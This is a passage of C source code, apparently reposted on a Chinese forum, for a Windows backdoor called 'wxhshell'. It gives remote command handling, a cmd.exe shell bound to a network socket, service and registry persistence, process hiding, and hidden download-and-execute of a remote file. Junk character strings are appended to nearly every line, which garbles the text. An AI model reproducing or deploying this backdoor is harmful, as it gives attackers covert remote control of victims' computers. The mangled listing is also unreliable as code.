  } "3jTU  
  else { zW\a)~ E  
%H?B5y  
    switch(cmd[0]) { f'ld6jt|%  
  *[cCY!+Qy  
  // 帮助 .4ww5k>  
  case '?': { ;e_us!Sn  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]4B;M Ym*  
    break; d>#',C#;  
  } fwUvFK1G  
  // 安装 .]exY i  
  case 'i': { b,:^\HKC  
    if(Install()) VS4Glx73  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .qe+"$K'n  
    else ;^s|n)F#c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \x$`/  
    break; mK TF@DED  
    } ;fV"5H)U\  
  // 卸载 _b>z'4_'  
  case 'r': { \<9aS Y'U  
    if(Uninstall()) R-$w* =Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]UIN4E  
    else 'O 7:=l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v 2rzHzFU  
    break; 5f_x.~ymA  
    } R7b-/ !L  
  // 显示 wxhshell 所在路径 O*+HK1q7  
  case 'p': { a(IE8:yU`  
    char svExeFile[MAX_PATH]; uUS~"\`fk  
    strcpy(svExeFile,"\n\r"); ;R&W#Q7>3  
      strcat(svExeFile,ExeFile); |63uoRr  
        send(wsh,svExeFile,strlen(svExeFile),0); ~9rNP{+  
    break; 5fs,UH  
    } k2lo GvBJ  
  // 重启 F+VNrt-  
  case 'b': { U5ph4G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VQf^yq  
    if(Boot(REBOOT)) Uth+4Aq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $C=XSuPNK  
    else { c{`!$Z'k<  
    closesocket(wsh); ((AK7hb  
    ExitThread(0); PC"=B[OlJ  
    } 4D 5Wse  
    break; )Dms9:  
    } (Of`VT3ZOA  
  // 关机 $#%R _G]  
  case 'd': { p4O[X\T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nQ'NS  
    if(Boot(SHUTDOWN)) sBWyUD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2OI 0B\  
    else { 0 -M i q  
    closesocket(wsh); xc'uC bH  
    ExitThread(0); (MqQ3ys  
    } KBi(Ns#+  
    break; u*qI$?&  
    } _)LXD,LA  
  // 获取shell KN@ [hb7%  
  case 's': { s hq +  
    CmdShell(wsh); ^^k9Acd~p  
    closesocket(wsh); F@z%y'5 Z*  
    ExitThread(0); [ZG>FJDl8  
    break; |0p@'X1  
  } RwK6u-u#9  
  // 退出 b&,Z mDJh  
  case 'x': { g~|vmVBua  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5m@'( ] j  
    CloseIt(wsh); ?~sNu k  
    break; +MYrNR.p  
    } 3y$6}Kp4?  
  // 离开 ]n@T5*=  
  case 'q': { Q6 o1^s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1foG*   
    closesocket(wsh); {{bwmNv"  
    WSACleanup(); |ggtb\W  
    exit(1); /J"fbBXwY  
    break; !:xE X~  
        } 7uUq+dp  
  } AW_YlS  
  } z<P?p  
OP=oSfa  
  // 提示信息 TXd6o=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V_^pPBa  
} [T'[7 Z  
  } c#?~1@=  
Bk~lM'  
  return; %H_-`A`  
} qfAnMBM1@  
vEG7A$Z"  
// shell模块句柄 c9@3=6S/  
int CmdShell(SOCKET sock) #u"@q< )  
{ FP y}Wc*UA  
STARTUPINFO si; 6]GHCyo  
ZeroMemory(&si,sizeof(si)); rT-.'aQ2t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t0xE&#4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W}7Uh b  
PROCESS_INFORMATION ProcessInfo; 6o]{< T/'  
char cmdline[]="cmd"; x~m$(LT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~Sf'bj;(  
  return 0; 7F2:'3SQ  
} -d2)  
7Kj7or|  
// 自身启动模式 4!3<[J;N;  
int StartFromService(void) ~kpa J'm  
{ :|&6x!  
typedef struct v9TIEmZ  
{ W4#DeT  
  DWORD ExitStatus; Y[VXx8"p  
  DWORD PebBaseAddress;  MkdC*|  
  DWORD AffinityMask; UH7?JF-D  
  DWORD BasePriority; %y_pF?2@q  
  ULONG UniqueProcessId; W7.RA>  
  ULONG InheritedFromUniqueProcessId; l  ~xXy<  
}   PROCESS_BASIC_INFORMATION; a3:45[SO4e  
D;48VK/Q  
PROCNTQSIP NtQueryInformationProcess; 3*{l^<`:gA  
I"8Z'<|/\q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VWYNq^<AT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e<8KZ  
W?N+7_%'  
  HANDLE             hProcess; S<*1b 6%D  
  PROCESS_BASIC_INFORMATION pbi; +?QHSIQo  
VgY6M_V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q)@;8Z=_c  
  if(NULL == hInst ) return 0; <Vh5`-J  
<Nloh+n=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vy7?]}MvV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wsR\qq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -4 L27C  
G7GKO  
  if (!NtQueryInformationProcess) return 0; KB^GC5L>  
{~#01p5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )Fqtb;W=  
  if(!hProcess) return 0; x a\~(B.  
F7=\*U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "*c&[ALw  
RZ9_*Lq7+  
  CloseHandle(hProcess); z0YL,  
9Ns%<FRO@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;_ 1Rk&o!  
if(hProcess==NULL) return 0; |<1A<fU8a  
uTl"4;&j  
HMODULE hMod; *y+K{ fM1  
char procName[255]; ignOF  
unsigned long cbNeeded; ^4[QX -_2  
~dgFr6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2]x,joB  
Mx 3fT>?  
  CloseHandle(hProcess); U`{ M1@$  
!af;5F  
if(strstr(procName,"services")) return 1; // 以服务启动 }`2+`w%uZ  
az}zoFl  
  return 0; // 注册表启动 ?<OyJ|;V  
} rc`Il{~k  
%X\Rfn0J"  
// 主模块 A-^B ?E  
int StartWxhshell(LPSTR lpCmdLine) hsK(09:J  
{ E1A5<^t  
  SOCKET wsl; O|9Nl*rXz  
BOOL val=TRUE; q}E'x/s2m  
  int port=0; UpiZd/K  
  struct sockaddr_in door; IG%x(\V-e  
O!F"w !5@  
  if(wscfg.ws_autoins) Install(); 0N6 X;M{zh  
,&@FToR  
port=atoi(lpCmdLine); SM<qb0  
;ae6h [  
if(port<=0) port=wscfg.ws_port; ep l1xfr  
O "Aeg|  
  WSADATA data; -O@/S9]S)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @}%kSn5y:  
Idj Z2)$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   OaByfo<S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mndEB!b  
  door.sin_family = AF_INET; ,yfJjV*I  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); JmBMc }54  
  door.sin_port = htons(port); xKT;1(Mk  
ILHn~d IC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g,Rh Ut9  
closesocket(wsl); ;>]dwsA*P  
return 1; $ M|vIw{#  
} E*v+@rv  
lZ,$lZg9Z  
  if(listen(wsl,2) == INVALID_SOCKET) { y7z ,I  
closesocket(wsl); MGo`j:0  
return 1; %7Gq#rq  
} n*~#]%4  
  Wxhshell(wsl); UyMlk  
  WSACleanup(); '?$< k@mJW  
I wu^@  
return 0; |g\CS4$  
K=P LOC5  
} Ml_!)b  
(+TL ]9P  
// 以NT服务方式启动 Wl,I%<&j}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g(F2IpUm/  
{ 1-G-p:|  
DWORD   status = 0; "?J f#  
  DWORD   specificError = 0xfffffff; D]V&1n  
#hEU)G' $+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $BOIa  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; RS7J~Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Vl:M6d1  
  serviceStatus.dwWin32ExitCode     = 0; (g tOYEqx  
  serviceStatus.dwServiceSpecificExitCode = 0; MR* % lZpB  
  serviceStatus.dwCheckPoint       = 0; 8PGuZw<  
  serviceStatus.dwWaitHint       = 0; A&Q!W)=  
Ez>!%Hpn\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Wk/Il^YG  
  if (hServiceStatusHandle==0) return; (j}edRUnB  
,^T0!k$  
status = GetLastError(); gf,[GbZ  
  if (status!=NO_ERROR) ZZ].h2= K  
{ G;AV~1i:~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6 c-9[-Px  
    serviceStatus.dwCheckPoint       = 0; * x.gPG  
    serviceStatus.dwWaitHint       = 0; v;" pc)i  
    serviceStatus.dwWin32ExitCode     = status; c{/KkmI  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;:Y/"5h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :*Z@UY   
    return; 8WG_4e  
  } qh wl  
2\[ Q{T=Qe  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e" p5hpl  
  serviceStatus.dwCheckPoint       = 0; .zdmUS :  
  serviceStatus.dwWaitHint       = 0; wV{VV?h}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Wp= &nh  
} XP@&I[J3sI  
i]zTY\gw8M  
// 处理NT服务事件,比如:启动、停止 uU8L93  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,j[1!*Z_[  
{ c=IjR3F  
switch(fdwControl) PW-sF  
{ p/jAr+XM  
case SERVICE_CONTROL_STOP: 9Cw !<  
  serviceStatus.dwWin32ExitCode = 0; v/G^yZa  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; bj+foNvu\  
  serviceStatus.dwCheckPoint   = 0; *18J$  
  serviceStatus.dwWaitHint     = 0; 8j@ADfZ9  
  { mp0! S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h56s~(?O  
  } G*^4 CJ  
  return; ~#JX 0J=  
case SERVICE_CONTROL_PAUSE: |Fzt| \  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ua>.k|>0  
  break; V5]\|?=  
case SERVICE_CONTROL_CONTINUE: rK cr1VFy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zm^ 5WH  
  break; bY=Yb  
case SERVICE_CONTROL_INTERROGATE: z-h7v5i"  
  break; yc@ :*Z  
}; bKPjxN?!9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?*U:=|  
} rj;~SC{  
`AELe_  
// 标准应用程序主函数 ?Q}3X-xy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M_F4I$V4  
{ DOW Z hD  
Z , 98  
// 获取操作系统版本 :J6FI6  
OsIsNt=GetOsVer(); }+ TA+;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uulzJbV,K  
LQa1p  
  // 从命令行安装 )0 i$Bo  
  if(strpbrk(lpCmdLine,"iI")) Install(); S >\\n^SbT  
%lN4"jtx  
  // 下载执行文件 i8(n(  
if(wscfg.ws_downexe) { IS }U2d,W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O:[@?l  
  WinExec(wscfg.ws_filenam,SW_HIDE); \1#!% I=.  
} AKKVd% P(  
[{rne2sA  
if(!OsIsNt) { q&EwD(k  
// 如果时win9x,隐藏进程并且设置为注册表启动 =D?{d{JT  
HideProc(); HlX2:\\  
StartWxhshell(lpCmdLine); ]"\XTL0  
} 7o`pNcabtz  
else PAy7b7m~B  
  if(StartFromService()) .h;X5q1  
  // 以服务方式启动 <p8>"~ R  
  StartServiceCtrlDispatcher(DispatchTable); (I(k$g[>  
else F#\+.inO  
  // 普通方式启动  B*Q  
  StartWxhshell(lpCmdLine); C= PV-Ul+  
~2?UEv6  
return 0; fZJO}  
}
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只看该作者 1 发表于: 2006-10-10
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